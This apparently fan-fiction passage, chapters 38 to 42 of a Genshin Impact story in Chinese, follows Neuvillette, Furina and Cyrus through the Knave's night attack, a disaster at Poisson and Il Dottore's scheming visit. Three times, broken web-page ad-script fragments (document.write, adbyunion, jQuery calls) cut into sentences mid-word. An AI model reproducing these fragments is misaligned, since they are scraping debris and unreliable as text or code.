“我正在调查这个。”那维莱特蹙眉道,“经过推测与意外事件证实,原始胎海水只会溶解枫丹人,对除纳塔以外,其他五个国度的子民并没有影响。” “据我推测,这应该与初代水神厄歌莉亚有关,但我的记忆有近千年的断层。”话音刚落,那维莱特、仆人和两个局外非人生物都望向了芙宁娜。 “我不知道。”芙宁娜抱着手。 仆人忍了忍,起身笑道:“大概是我这个外人在场,芙宁娜小姐不方便说吧。天色已晚,我就先走了。明日一早,我再来拜访二位。” 不得不说,“以退为进”这一招,仆人用得炉火纯青。她这一走,屋子里全是些自己人,芙宁娜不想说,也没了适当的理由。 坐在一旁的塞勒洛斯眼瞅形势不对,捞起小人鱼,跟在仆人身后一道出去了。 那维莱特明知她的算计,却只能沿着她预设的道路,问道:“关于厄歌莉亚和原始胎海,你都知道些什么?” 然而,芙宁娜却头一偏,摆出一副拒不合作的态度。 之后,无论那维莱特如何询问,她要么不说话,要么咬死了说自己不知道,闹得素来好脾气的那维莱特,都快要压不住心头翻涌的火气了。 最后,这□□角戏,以那维莱特揉着眉心拂袖离去,而谢幕收场。 芙宁娜望着他离去的背影,一个人陷在座椅里。待至深夜,袖口湿痕干透,她才堪堪起身,走出沫芒宫。 39.Chapter 39 7.24 Wednesay 夜重无月 夏天的夜,偶尔有风吹走闷燥的暑气,芙宁娜垂着头,漫无目的地走在街上,不知不觉中,她渐渐走出枫丹廷,来到城外的山野之间。 今夜云叠满空,月光稀疏落下,晨星亦是寥寥无几,山上没有灯,失了光源,地面黑得厉害。 在她身后,一抹人影鬼鬼祟祟、探头探脑、走走停停,隔得远远地跟着。 蓦然间,前方树林阴翳的尽头,一个头带兜帽的修长身影走了出来。 红得血腥,刺目而又灼烈的光,眨眼间点燃了山野。 寂静的山林从黑夜瞬转白昼,芙宁娜眼睛一痛,本能地闭上双目,缓和了约莫十几秒,才虚虚张开。 “你是谁?”她趔趄后跌两步,声音颤颤巍巍问道。 那人笑着,宛若咏叹道:“水神阁下难道……猜不到吗?” “我……我什么不知道……”芙宁娜小步小步往后退,强撑起声音,“真的,我什么都不知道。” “嗯。”那人语速放缓了一些,“我无意为难水神阁下,只是来亲自确认一个猜测。” 芙宁娜扯唇露出一个难看的笑容,“什么……” 下一瞬,她眼睁睁望着一柄血色的赤月高高立起,明晃晃冲着她劈砍而来。 眨眼之间,刀刃挥舞到芙宁娜身前半米。登时,她衣服口袋里像是有什么东西跃跃而出,将布料顶起又放下闹腾得欢。 而芙宁娜此时此刻的注意力完全被眼前的危机给强占了去,没有心神分给她自己身上发生的动静。 就在赤红之刃将要触及到她时,一道银芒撑开,抵挡住锋利的弯刀。 一息、两息、三息。 三息过后,赤月之形上迸发出更加耀眼的火光,将护在芙宁娜身前的银色屏障劈出一条裂缝。 芙宁娜屏住呼吸,眼睁睁望着那道仅一厘米长的裂缝,如蛛网般飞快散开。 见镰刀与屏障两相僵持之状,仆人轻叹了一声,空闲垂在身侧的左手握上杖身,施力下压。 面对这更强的攻击劲道,已经承受到了极限的银色屏障终是难以抵挡,“咔”一声,碎在芙宁娜眼前。 已经五百年了,要失败了吗? 她胸口闷气,心境在绝望之下化为一股愤懑,不甘地死死注视着刺目的赤月。 与之同时,一道劲风袭来,将赤月之形击歪,偏离了原定轨迹,堪堪擦破了芙宁娜的耳尖,在地上划出一条深沟。 仆人一击不成,收刃转身,立刀望向插手之人。 来人跃步将芙宁娜扯到自己身后,抢先一步呵问:“贼人,你怎得半夜抢劫,抢到水神大人头上了?” 仆人:“?” 说谁抢劫? 等等,好像也没说错,她确实打算抢夺水元素神之心。 被人救下,芙宁娜先是心头一喜,可等她看清“护驾之人”,瞬间满眼悲戚。 怎么来的是塞勒洛斯这个不靠谱的啊…… 只见塞勒洛斯虚空一抓,不知道从哪捞出一个长条木棍,掂了掂觉得不太趁手,“啪叽”一下,撇了一段反手丢了,之后如手握长剑般,将半截木棍立在身前。 “阁下如若现在自行离去,还自罢了。”他微顿,音调提高道,“否则,别怪我……我……我摇救兵!” 说着,他左手伸进胸前衣袍里,摸出一个水晶球,里面静静浮着一枚金色桔梗花徽章。 芙宁娜两眼一黑,心中原先仅存的微淼希望,顿时间荡然无存。 “救兵?”仆人嗤笑一声,“你说那维莱特吗?再他赶来之前,希望你能挡住我的进攻。”语罢,仆人飞身袭来。 塞勒洛斯手腕微动,将水晶球抛出,然后刚想举剑格挡,却猛然看见手中木棍,身上红格子黄边线的法袍,一咬牙,带着芙宁娜开始左右躲闪,拖延时间。 可仆人对不知深浅的那维莱特有所忌惮,一招一式越发狠厉,塞勒洛斯战意不明,闪避间不慎被赤月之形划破了法袍。 塞勒洛斯望着身上豁口的法袍,心痛地惨叫一声,“我的袈裟!” 攻击屡屡不中,仆人嘴角一沉,赤月染上火元素凌空挥舞,逼得塞勒洛斯不得不放弃避战之策,正面对上她,出手还击。 从骑士转职魔法师不足月余的塞勒洛斯,随着重金购入的“法袍”撕裂,终是放弃了这一身份,以大半截魔杖为剑,迎击仆人。 塞勒洛斯身为异世的降临者,使用的魔力体系与提瓦特的元素力不同,招式大开大合,自带光明之气,以未经炼化的木棍魔杖对上仆人,虽因武器不及对方稍显疲色,整体却不落下风。 顷刻之间,一红一黑两道身影战得难舍难分。 远远望去,幽黑的夜空中仿佛生起绚烂的烟花,熠熠流光肆意散落空中,宛若倒缀的天上星。 趁此机会,芙宁娜悄悄移到幽深的树林阴影之中,往枫丹廷跑去。 约莫五六分钟之后,仆人震开塞勒洛斯,一个闪身,消失在了黑夜之中。 塞勒洛斯微微弯下腰,随手丢了木棍子,左右扯了扯衣服遮掩住腰腹被赤月带出的伤口,喘息声渐弱,而后站直了身体,回眸去寻芙宁娜。 他在附近逛了两圈,没见芙宁娜,却把那维莱特等来了。 “这腻,就是这腻!”那维莱特站定之后,看见被战斗破坏至荒芜的山野还没开口,伊芮娅就趴在他肩上叫道。 塞勒洛斯视线从伊芮娅身上掠过,疑惑道:“我的桔梗花还没传回讯息。” 那维莱特来得好快。 “伊芮娅带我过来的。” “芙姐姐腻?”伊芮娅甩了甩自己的银白色长发。 塞勒洛斯回道:“我和神秘人混战的时候偷偷溜走了。” “没看清是谁吗?”那维莱特问。 “穿着黑袍,带着面具,实力极强,我没看见面具下的脸。”塞勒洛斯微微摇了摇头。 那维莱特“嗯”了一下,移步走到战场中心,感受着空气中燥热的气息和尚未散尽的火元素 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,心中有了猜测。 “这次多谢你了。”他转身对塞勒洛斯道谢。 塞勒洛斯略显惶恐扯唇笑了一下,“能顶消我不小心让人看见伊芮娅的过失吗?” 闻言,那维莱特静静望着他,没说话。 那是昨日大概晚上六七点的时候。 芙宁娜去找那维莱特,寻了一圈却是办公室没人,也不在家中。 她在沫芒宫等了许久,见连伊芮娅都不见身影,有些不放心,请塞勒洛斯帮忙去海沫村看看。 塞勒洛斯不会水,但他心里也挂念伊芮娅,拎着鱼竿就去了。等到了海岸,他帮了愚人众一把,获赠一瓶药剂,得以潜入水下,将伊芮娅接走。 之后,他带着伊芮娅回到沫芒宫,在水神休息室门外扬声直接说了“接到伊芮娅了”,等推门进去一看,仆人正坐在里面,笑盈盈地半转身子,望过来,眸光落在他手心捧着的小人鱼身上。 后面,等仆人走了,那维莱特和芙宁娜单方面谈话结束,沉着脸走到他面前,塞勒洛斯才自知犯下大错,而后伊芮娅被那维莱特二话不说地带走了。 塞勒洛斯惶惶不安,担心那维莱特做主,把他丢出枫丹,便想问问与那维莱特关系甚是密切,并且还借钱给他、带他去买衣服,人美心善的芙宁娜小姐。 但塞勒洛斯透过门缝,看见芙宁娜正在暗自垂泪,实在是不方便进去询问,便一直站在门外等侯。直到夜深,芙宁娜失魂落魄地往外走,塞勒洛斯担心她的安全,便一直远远跟在后面。 此刻,塞勒洛斯没问到应该如何赔罪,却意外救了芙宁娜一遭,四舍五入也算是帮了那维莱特的忙,所以想着问一问,能不能两事相消,全当是功过相抵了。 他大着胆子问了,但是那维莱特没说话。 要知道,塞勒洛斯瞧见那维莱特不说话的模样就犯怵,一时也不敢多说什么,干巴巴说了一句“我去寻芙宁娜小姐”,就拔腿跑开了。 过了片刻,那维莱特垂眸问小人鱼:“他好像很怕我?” “是呀。”伊芮娅点点小脑袋,“他之前和我说过。” “说什么了?” “蓝鱼鱼超~强,他打不过,就怕你腻。”伊芮娅歪头想了想,模仿塞勒洛斯说话时的语气,复述道。 那维莱特不禁皱眉:“不知是否是我的错觉,他有些……” 伊芮娅眨眼:“嗯?” “罢了,没什么。”那维莱特望着伊芮娅透亮的紫眸,“我们回去休息吧。” “不找芙姐姐了吗?” 那维莱特道:“我方才就已感知过,她已经从小路跑回枫丹廷了。” “对了,今晚的事,日后无须再提,尤其是在芙宁娜面前。”他点了点伊芮娅的小脑袋嘱咐道。 晚风渐起,带走一声低吟。那维莱特轻轻挥袖,稀稀落落的小雨浇在被赤炎灼烧后的山岗之上。片刻后,催生出一片郁郁葱葱的新绿。 “她应是不愿意让人知道的,就当哄哄她。”那维莱特叹道。 40.Chapter 40 7.24 Wednesay 上午白虹 刚上了两日学的伊芮娅,意外在仆人面前露了脸,枫丹又是多事之秋,这下子那维莱特不得不重新将它带在身边。 他起了个大早,从床贝中轻柔地捧出还在熟睡的伊芮娅,将其放入源水之滴,再源水之滴内部稍加改造,控其内部水流化成一张贝壳床,而后直奔发生塌方事故的白淞镇。 目前,警备队已经完全接手了救援工作,归属与愚人众的壁炉之家已经撤离,不再参与救援行动。 昔日欣欣向荣,镇民安居乐业的白淞镇,如今却是一片断壁残垣之貌。大地与山脉被撕裂开数道裂缝,依附山壁的建筑仿佛被随意推倒的积木,四分五裂、扭曲变形;繁茂的树木或是被连根带起,或是半腰折断;一旁的救助营帐中,人类捂脸跪地哭得嘶声裂肺。 那维莱特高高立在废墟之上,淡漠的灰眸环视一周,只觉胸口宛若被人施力按压,难以透气。 他难以辩白这是一种怎样的情感,但那维莱特的心告诉了他,现在的白淞镇是他不想也不愿看见的。 临时救助站修建在一侧未受波及的山地上,里面人头攒动。警备队调离了所有人手前去施救,只剩伙食班的一行七八人,熬了几桶白粥抬出来。 刚从恐惧中逃脱的人们,没有秩序的蜂蛹上前,伸长捏着昨夜领到的一次性碗筷的手臂,争相挤着上前打满一碗白粥。 获救的人群中,不乏身体强健的男性,女性和孩子根本争不过他们,没一会就被挤出人群,端着空碗,悲凉的望着数个男人捧着手中满满的米粥,缩到偏僻的角落,独自享用。 粥少僧多,没消一刻钟,五桶白粥就被瓜分了个干干净净。伙食班的人拭去额头冒出的汗水,抱走空桶,竭力高声安抚没有分到食物的民众。 锅米瓢盆送过来需要时间,熬粥需要时间,救援需要时间。灾难降临的当下,所以人,都在拼死争抢时间。 那维莱特从高处俯视遥望着无礼的、无序的、无情的人类,眼底涌动着的未知情绪,渐渐平息。 不多时,第二波白粥熬成端出。 这一次,卑劣的人类好似被操控了一般,在粥桶前排起了长队。妇女儿童在前,青壮年绕到队尾。 那维莱特喟然长叹,他早知人类生来罪恶,却无法忽视隐于他们劣根性之下的熠熠烛光。 人类,真是一种复杂的生物。 那维莱特木楞地看了许久,直到身侧源水之滴里传来伊芮娅的尖叫,他才幡然回神。 几乎是一种本能的反应,那维莱特以自身为球心,尽可能远得释放自己的感知力。很快,他便探查到地下海水翻滚,似是海底火山复苏喷发。 无暇多想,那维莱特挥手抽取空气中的水分,凝出数千个水球,包裹住废墟中的人类。 少顷,在突然被包裹住的人类都还没反应过来之时,大地晃动,海水冲天而起。 眨眼之间,海水淹没了白淞镇的废墟,硬生生将一块山地,填平成了海洋。 那维莱特抬手,控制着数千水球从海水中飞出,落到一侧山地上,而后倾力下压,将海水原路按回,露出先前的白淞镇废墟。 幸运的是,这一次咆哮而出的海水,是正常的海水,里面没有掺杂原始胎海水。而不幸的是,这是由海底火山运动带出的滚烫沸水。 就连神,都尚有力所不及,无法关照之处,又何况尚未恢复完全之体的龙。 那维莱特倾尽全力,只护住了明面上他尚且可以感知到气息的人类,至于被掩埋在废墟之下,本就已经生命垂危之人,他实在是束手无策。 原先吊着一口气,等待救援的人,不知道在这水漫金山的一分钟里,还能存活下来多少。 警备队有神之眼的人很快各显神通,飞身回到废墟继续展开救援行动。 “还好,还好,蓝鱼鱼反应超快!”伊芮娅拍着胸脯,小脸上的表情后怕之中又带着些许欣喜。 反观那维莱特,他的神情相当不自在。 海底火山喷发是自然现象,那维莱特插手干预,救了一部分本应丧生在其中的人类。 他为什么下意识会选择救人类? 正在那维莱特百思不得其解之际,沫芒宫的书记官适时寻了过来,除了汇报仆人带着公子前往梅洛彼得堡,还带来了他今日的日程安排表。 那维莱特看完日程表之后,犹豫片刻,以指甲为笔,在纸上划去几项。 “这几个移交给水神芙宁娜处理,日后这一类公务也都由她处理。” 书记官一愣,蹙眉道:“可是芙宁娜大人并不分管这部分公务,她对监察、人事这两方面也不太熟悉。” 那维莱特主意已定,说道:“你转告她,我不愿再处理需要与人类交流,干预人事太深的公务。” 他感觉经过了离开海洋,步入人类社会的这五百年,他变得好像不再是从前的自己了。 他想减少与人类的交往,试着回到最初的、纯粹的、干净的自己。 书记虽然不解,但还是点头听令道:“好的,我会和水神大人如实转述。” 而后书记官安静地站在那维莱特身边等了一会,望着太阳的光芒已经从鞋尖移到了脚后跟,忍不住抬腕看了看表,提醒道:“九点半,您与希格雯小姐有一场谈话……那维莱特大人,现在已经九点十五了。” “嗯。”那维莱特心不在焉地应了一声,出神地望着废墟中的一个角落。 在书记官人类的视力所无法看到的地方,那维莱特极好的目力能将发生的事情看得一清二楚。 只见警备队的四名警官抬起一块断裂的墙体,另一人趁机缩着身子钻进去,片刻后从墙体下伸出双臂,递出一个瞧上去只有六七岁的孩子。 书记官不清楚那维莱特在看什么,又等了一两分钟,试探性地再次唤道:“那维莱特大人?” 见钻进塌陷处的警员顺利出来,那维莱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 特才点头回道:“嗯,我们走吧。” · 沫芒宫内,希格雯已经将那两张图纸分析研究过一遍,现下正带着最终的结果坐在会客室中。 那维莱特听完她的汇报,发现希格雯得出的结果与自己的猜想如出一辙。 那两份图纸上记载药剂所需的种种材料,不过是起到一个装饰的作用,或是改变颜色,或是丰富气味,或是更新口感。 而最关键的,药剂的主体,也是让人消失的罪魁祸首,还是原始胎海水。 “那维莱特大人,这是分析报告,我放在这里了?”希格雯合上捧着念了半天的文件夹,严肃道,“还有一件事。” “我从梅洛彼得堡出来的时候,仆人和公子刚好结束与莱欧斯利的会面,我们就一道离开了。路上我们撞见了博士,他让我帮他带一份拜帖和一封书信,交给您,说是希望能尽快与您见上一面。” 闻言,那维莱特略显诧异,示意希格雯将两样东西给他。 那维莱特先是拆开了拜帖。 博士的拜帖,在选用纸张,内印花纹和纸张大小方面都与仆人的别无二致,仅仅只有封面上的执行官代号和内页里的个人真名有所不同。 在核实确认拜帖的真假后,那维莱特随手将其隔在茶几上,拿起拆信刀,拆开了信件。 他始终生活在枫丹的领域,还从未踏上过至冬的土地。印象中,他也不曾结交过至冬友人。那么,究竟是谁,使唤得动博士从遥远的至冬,给他带一封信过来。 那维莱特很快拆开了信件,展开宣纸,但是却见纸张的内页上,空空如也,就连一个墨水点都没有。 “信是空的。”那维莱特望向希格雯。 “哎?这怎么可能?”希格雯不可思议道:“这封信在梅洛彼得堡,博士还当着我的面,拆开了信件的火漆封章,而后又重新封上了。” 那维莱特正正反反,仔细观察着手里的信纸。 只叹,他对纸张完全没有研究,难以品出什么玄机,只得让书记官带着信纸下去,对沫芒宫内部的工作人员发布告示,打算集众人之力,解开难题。 只可惜,等到那维莱特都已经处理完了白天上午的工作,临近中午,沫芒宫的众公务人员还是没有发现这封信件存在着何种秘密。 一系列传递密信时惯用方法,诸如柠檬汁法、淀粉和碘酒法、明矾水法、牛奶法等等伎俩,他们都试了一遍,可信件上仍旧一字未显,仿佛它只是一张真真正正的白纸。 中午一过,到下午上班时,又是两个小时。书记官见信件之迷还是毫无进展,只得如实和那维莱特汇报了这个情况,那维莱特听后,默默地把压在待处理文件最底下的,属于博士的那份拜帖抽了出来。 “下午,你去与博士对接一下,安排会面事宜。”那维莱特接着幽幽补充道,“之后再顺便去塌方的白淞镇,看看早上的救援情况,调查灾民稀缺物资,回来即刻安排后勤部准备。” 41.Chapter 41 7.24 Wednesay 下午转阴 今日的公务,在分了好几项给芙宁娜之后,那维莱特下午需要处理的便没有多少了。 以他的速度和效率,下午两点上班,到三点一刻时,他极其难得地提早完成了今日的日程。 眼下时间宽裕,伊芮娅想吃枫丹廷新开的一家小甜品,但他还需等书记官回来汇报工作,无奈之下,还是将小人鱼暂且托付给了塞勒洛斯。 虽然那维莱特觉得塞勒洛斯很奇怪,但单看他对伊芮娅的关爱程度,那还是没话可多说的。 前日,分明塞勒洛斯不会水,也不能确定伊芮娅是否还在水下。他却仍旧执意下水查看,还不知使了什么办法,与愚人众讨要来了一瓶可以在水里呼吸的药剂。 说来也是巧极了,那几个愚人众帮了塞勒洛斯和伊芮娅,没过多久,就被那维莱特救上了岸。 若不是仆人属意的下一代壁炉之家的家主妹妹也在其中,并且那维莱特还不知道这几个愚人众给了塞勒洛斯药水,否则那维莱特断然不会出手搭救。 毕竟世界上发生这般环环相扣的巧合的概率极其低下,只有千万分之一。比起偶然发生、都是巧合这种渺然的说法,那维莱特更愿意相信这一切都是人的算计与预谋。 塞勒洛斯带着伊芮娅出去了大概半个小时就回来了,一人一鱼,进门的时候手里各提了一个手提袋子。 当然,伊芮娅的是它用尾巴,将源水之滴的球壁轻轻顶出一个弯钩,纸袋子的手提绳便挂在上面。 看纸袋的鼓起程度和提手的紧绷状态,袋子里的东西应该分量不轻。 那维莱特担心小人鱼坠久了尾巴疼,快步流星迎了上去,从它尾巴上接过袋子。 见状,伊芮娅欢喜地躺倒在源水之滴中吗“咕噜咕噜”吐了一连串泡泡,而后将小脑袋探出球壁,又伸手点了点袋子,笑道:“你滴!这款超级好恰!” “谢谢,辛苦你了。”那维莱特脸上扬起一个微不可见的笑容,礼貌答谢。 “木事呀,木事呀~”说着,伊芮娅有些难为情搓了搓手,小声嘟囔道,“花的大个子的钱。” 那维莱特抬眼扫过塞勒洛斯。 虽说半个小时前才见过,但今天的塞勒洛斯太正常了。正常到让那维莱特有些意外。 先前塞勒洛斯从诡异小屋出来,进过几天看守所以后,不清楚是不是哪个经搭错了,不是穿着一身黑的超长款黑斗篷,就是红黄格子相间的,那维莱特只在一些文学小说漫画作品中出现过的袈裟。反正从没有向今日一般,正常地穿着一身亮黑色的燕尾服,带着一双白色手套。 “今日出去用了多少钱?”那维莱特问道,“你还不曾正式入职沫芒宫,没有收入来源。” “不用了,那维莱特先生。”塞勒洛斯站得笔直,伸手整理了一下红色丝绒蝴蝶结的领带夹,“我找了一份兼职,收入日结,薪资尚可,我也很喜欢。” “哦?”那维莱特顿时来了兴致,问道,“是在哪里,具体做什么的?” “在枫丹廷的一家咖啡店里,日常工作基本就是去门口站着,和保安差不多。偶尔店里忙不过来的时候,会搭把手制作咖啡和小蛋糕。” 那维莱特:“……” 作为一条龙,他的审美与人类不同,所以日常生活中,极其容易忽视人类的相貌。如今细看之下,才发觉塞勒洛斯的样貌,按人类的标准欣赏的话,不说十分拿满,也能有个九分往上。 “大个子,不当法师了?”伊芮娅歪头问道。 “哎。”塞勒洛斯看上去极其失望地幽幽长叹道,“中世纪的法阵魔咒极其复杂,成为一名魔法师需要极高的天赋,还需要有老师教授。” “我原本想得到提瓦特七神的认可,赐予我一枚神之眼,但神明好似不会眷顾我这个异世的旅客。就连水神大人也……所以,我现在也算是彻底放弃走魔法师这一条路子了。” 伊芮娅半懂不懂顺着话头问道:“那之后腻?” “我很喜欢这个兼职,你们看这身衣服就是工作服。借此,我发现了我真正的爱好,我打算成为一名光荣的管家。” 塞勒洛斯这话说得认真极了。 那维莱特沉默了一会,鼓励道:“不错的志向。” “我先走了,甜品也给芙宁娜大人带了一份,再聊下去就该凉了,口感不好,那维莱特大人您的那份也请尽快食用。” 那维莱特颔首,目送着他关上办公室的大门,接着垂眸望着摆在桌上的甜点,再一次陷入沉思。 自己是不是不应该让塞勒洛斯带伊芮娅。 没等他得出结果,伊芮娅就开始拽着他的袖口,眨巴着紫色的眼瞳,拉着他手一晃一晃,以实际行动催促他快点品尝甜点了。 于是,熬不过伊芮娅撒娇卖萌的那维莱特,头回在办公室里撕开甜点的包装,用叉子挖了一块。 可他刚送入口中,办公室的门就被人叩响了。 “那维莱特大人,找到夏沃蕾队长了!”书记官隔着木门高声喊道,可见其心情迫切。 “进。”那维莱特囫囵咽下甜点,一手飞快地捧起伊芮娅,将她放到办公桌上的水雾障眼区。 书记官得了许可一秒也不耽搁地,扛着受伤的夏沃蕾推门而入。 “怎么伤成这般模样?去找医师治疗了吗?”那维莱特知道夏沃蕾的实力,一时之间对她这般狼狈的样子颇感惊讶。 书记官搬来一个凳子给夏沃蕾坐下,而后极有眼力见地退了出去,临出门时,扭头补充了一句:“至冬执行官博士下午四点半过来。” 那维莱特低低“嗯”了一声,表示自己知道了,随后望向夏沃蕾。 夏沃蕾扯唇笑了笑,回话道:“我现在就看着凄惨,除了左腿骨折,其他地方都是皮外伤,骨折也处理过了。” “先下去休息吧,平安回来便好。” “休息的事不急,我先把调查结果向您汇报一下。”夏沃蕾摆了摆手,坚持道。 “你走的这段时间,‘鲁伯特之泪’在逐硬庭的调查下,已有眉目。”夏沃蕾不是不知轻重之人,那维莱特选择尊重她的想法,将这段时间发生的事情简述了一遍。 “和逐影庭一样,我也是从发生在枫丹廷,三年前的一桩的失踪案着手,开始调查‘鲁伯特之泪’的。”夏沃蕾喝了口水,润了润干涩的喉咙娓娓道来,“正如您猜测的那般,‘鲁伯特之泪’不是一个组织,但也不是溶解枫丹人药水的名字,它更像是一种信仰……唔,准确来说,应该用意志这一个词来形容它,会更加贴切。” 那维莱特不解道:“意志?” “是的。‘鲁伯特之泪’是数百前年,在芒索斯山的一个小村落中,由一位名为鲁伯特的祭祀发现。他在最初的原液里面加入各色物品,调配出被他命名位‘鲁伯特之泪’的药水,专为人类的祈福祭祀活动。” 夏沃蕾道:“不同的人,有着不同的喜欢,借由原初原液调制出属于每个人自己的‘鲁伯特之泪’。一人一生只有一瓶‘鲁伯特之泪’,在遇到无法解决的困难是,喝下‘鲁伯特之泪’,它会引领你找到答案。” “听上去更像是一个邪教组织。”那维莱特中肯评价道。 夏沃蕾道:“但是在数百年前,在这个村落的人类眼中,‘鲁伯特之泪’就是神的恩赐。所有在现世受挫的人,都能通过服用‘鲁伯特之泪’,回归海洋,回到生命最初诞生的地方。” 那维莱特道:“这与意志何干?” “我前段时间递出了一张图纸,绘制图纸的人,继承了这个村落的风俗,按他自己的意志,给他生命里遇见的每一个人都调配了一瓶‘鲁伯特之泪’,并在他觉得最为恰当的时机,通过各类方式手段,喂人喝下。” 夏沃蕾道:“而他的儿子继承了他的意志,孙子继承了儿子的意志,世世代代,至今已是第七代了。” “从第四代开始,鲁伯特家族的人开始有意识地反思,收敛其无差别灌药的行为,转为定义。他们开始定义什么是恶,并且开始极为隐蔽地对外接单,主张‘受人之托,终人之事’,在评估受害人的创伤等级之后,用‘鲁伯特之泪’对行恶事、有恶行、说恶语的人,越过法律,进行私力救济。” 那维莱特半眯下眼,脸色格外阴沉可怖。 “你的调查结果是什么?鲁伯特一族,现在藏身于何地?” “白淞镇。”夏沃蕾阖上双眼,微微摇了摇头道,“他们一族因为几百年来过度开采调配药剂刚需的最初原液,造成地脉枯竭,海水倒灌入生长最初原液的地方,摧毁了白淞镇。” “最后的两位鲁伯特,出去接取委托了,事发之时不在白淞镇,今早我找到了他们之后,他们服用‘鲁伯特之泪’,自杀了。” 那维莱特:“……” “今早?具体什么时候?” “那维莱特大人,当时您也在。”夏沃蕾道,“当时,我正在和他们在破铁船上对峙,一个巨大的蓝色水球就将我们三人一起包裹住了……” “所以,‘鲁伯特之泪’可以结案了?” 那维莱特觉得这个结果十分荒唐、草率,但这个案子,好像的确再没有什么好查的地方。 夏沃蕾点点头,总结道:“歌剧演员失踪是她与情人私奔出逃,魔术演出失踪是被鲁伯特一家杀害,白淞镇毁于最初原液开采过度的反噬。” “应该是可以结案了。” 那维莱特无言,半响过后,抿唇问道:“这个结果,你觉得枫丹的子民,会接受吗?” 夏沃蕾:“……” “你先下去好好修养吧,让我仔细想想。”那维莱特茫然道。 夏沃蕾听令退下,那维莱特一手撑着额头,闭目沉思。 很快,缩在一旁的伊芮娅看不下去了,出谋划策道:“找个替死鬼腻?” 那维莱特:“嗯?” “替死鬼,审判,呼啦啦入狱,搞定!”伊芮娅眉飞色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 舞道。 那维莱特失笑,伸手揉了揉它的小脑袋:“胡闹。不能这样糊弄民众。” “咿呀~~~”伊芮娅垂下脑袋,焉巴巴不说话了。 阳光温柔地洒在大地上,几朵白云悠闲地漂浮在空中,偶有风过,将云吹来又吹散。转眼之间,天空陡然变得阴沉,方才还在嬉闹的风与云褪去温度,取而代之的是一层淡淡的灰雾,空气中也开始弥漫起一种湿润的触感。 不多时,小雨落下,米粒大小的雨点滴答滴答敲打在灰石板上,奏响带着淡淡忧愁的曲调。 四点整,挂在墙上的壁钟“咚咚咚”摇了四下。 与之一同响起的,还有三下敲门的“咚咚咚”。 这一回,没等那维莱特开口,门外之人十分自然地推门而入。 “那维莱特先生,久仰。”来人假模假样行了一礼。 “愚人众执行官第二席,博士。”那维莱特淡淡道,“你比预约好的时间早来了半个小时。” “哦,可能是你的壁钟时间出错了。”博士嘴角含笑,“你看,在我的时间里,现在已经是四点半了。” 那维莱特:“……” “有茶水么?或者普通泉水也行。”博士从休息区拖着一个凳子,来到那维莱特办公桌前,翘着二郎腿坐下。 见他这般态度,那维莱特纵使有茶,也不想给他泡,仅仅是动了动指尖,给他象征性地送了一茶杯的水。 博士握着杯子打量片刻,放到鼻尖嗅了嗅,轻笑,“看来我来得不巧,今儿那维莱特先生这里,刚好没有茶叶了。” “信,写了什么?”那维莱特不屑和他废话,单刀直入问道。 “哦,这封信啊。”博士懒洋洋拿过信纸,“撕啦”几下,将信纸撕碎,揉成一个纸球,反手向后一抛,“上面什么都没有,它本来就只是一张白纸。” 那维莱特:“……” “呵呵呵。”博士笑道,“还请那维莱特先生恕罪,我出此计策,完全是迫于无奈之举啊。” “听说我那身为第四席的同僚,晚上茶会上得罪你,深夜伏击水神,五六个小时之间,竟然是将枫丹的两位掌权者统统得罪了个遍。我若不剑走偏锋,只怕托她的福,那维莱特先生看见我的拜贴估计要花上一两个星期。” “那你现在已经见到我了,你要说什么?”那维莱特问道。 博士道:“那维莱特先生应该已经知晓了,我最近研发了一款可以在水下自由呼吸的药剂。” “是的。” “嗯~我便是为此而来。”博士道,“这款药剂需要以原始胎海水为催化剂。而我购买原始胎海水的商家,非常不幸,在半个多月之前,被你给抓了。” “智源孤儿院什么时候开始做倒卖原始胎海水的勾当了?” “哦,他们没做。是我通过那些可怜孩子们的凄惨身世,向鲁伯特一族发布委托,再和那两个智商不太好的兄妹说,孩子们希望自己喝下。”博士嘴角的笑容愈发张狂,“然后带着孩子和那两兄妹到我布设好阵法的小屋里,让孩子们当着她们的面喝下‘鲁伯特之泪’,然后消失。” “实际上,在‘鲁伯特之泪’从进入小屋阵法的那一刻,就被替换成了普通的海水,孩子的消失也只是一个小小的障眼法。” “但是,今早,这两兄妹好像是畏罪自杀了吧。这下我的研究材料,就没有了进货源头。”博士很是发愁地叹了一声,“所以,我登门拜访你。想与你谈一笔交易,哦说合作也行。” 那维莱特面无表情道:“细说。” 博士阴恻恻笑道:“听闻梅洛彼得堡下面,压制着不少原始胎海水,前久好像还泛滥了一次。不如那维莱特先生做主,将这部分要快溢出的原始胎海水卖给我。” “我们双方互利互惠,这样即解了梅洛彼得堡的燃眉之急,还能给枫丹财政添上一笔巨款,不失为一举两得之计。” “不可能。”那维莱特断然回绝道,“原始胎海水是提瓦特众多生命之源,它的存在很特殊,据我所知,胎海水的衍生速度极慢。失去过多胎海水,就会出现白淞镇一般,海水倒灌填补的情况。” “还有……”那维莱特目光凌厉地望向博士,“你是怎么知道梅洛彼得堡的事。” “那当然是我亲爱的同僚,告诉我的。” 听到这话,那维莱特一下子就想到菲米尼昏迷那件事,随之联想到琳妮特去过海沫村附近,心头顿时涌起一股不妙的感觉。 果不其然,他的预感,在博士下一句话中,得到了验证。 “罢了,原始胎海水可能有些强人所难。那……跟在那维莱特先生身边的那条小鱼,我能一饱眼福吗?” 博士笑得柔和了不少,“放心,君子不抢人所好。我不带走,就在这里看看。” 那维莱特绷着脸,正想严词拒绝时,伊芮娅突然从办公桌上的水雾障眼区伸了个尾巴尖尖出来。 然后探出双眼睛,盯着博士眨了眨。 42.Chapter 42 7.24 Wednesday 傍晚若纱 博士柔声询问:“跟在那维莱特先生身边的小鱼,我能一饱眼福吗?” 那维莱特正想严词拒绝时,伊芮娅突然伸了个尾巴尖尖出来。 “看上去它很想与我聊聊。”博士挑衅般得弯下眼角对那维莱特笑道。 那维莱特太阳穴边的青筋陡然跳动了两下,抿唇不语。 伊芮娅努力仰着头,瞅了一眼那维莱特,见他眸底昏暗,大有山雨欲来之势,赶忙悻悻将头了缩回去,藏在博士看不见的水雾范围内,对着那维莱特通过摆弄灵活的鱼尾,卖萌比了个心。 那维莱特被它弄得又是好笑,又是无语,很快撇开视线,装着没看见的模样,让小人鱼的撒娇落了个空。 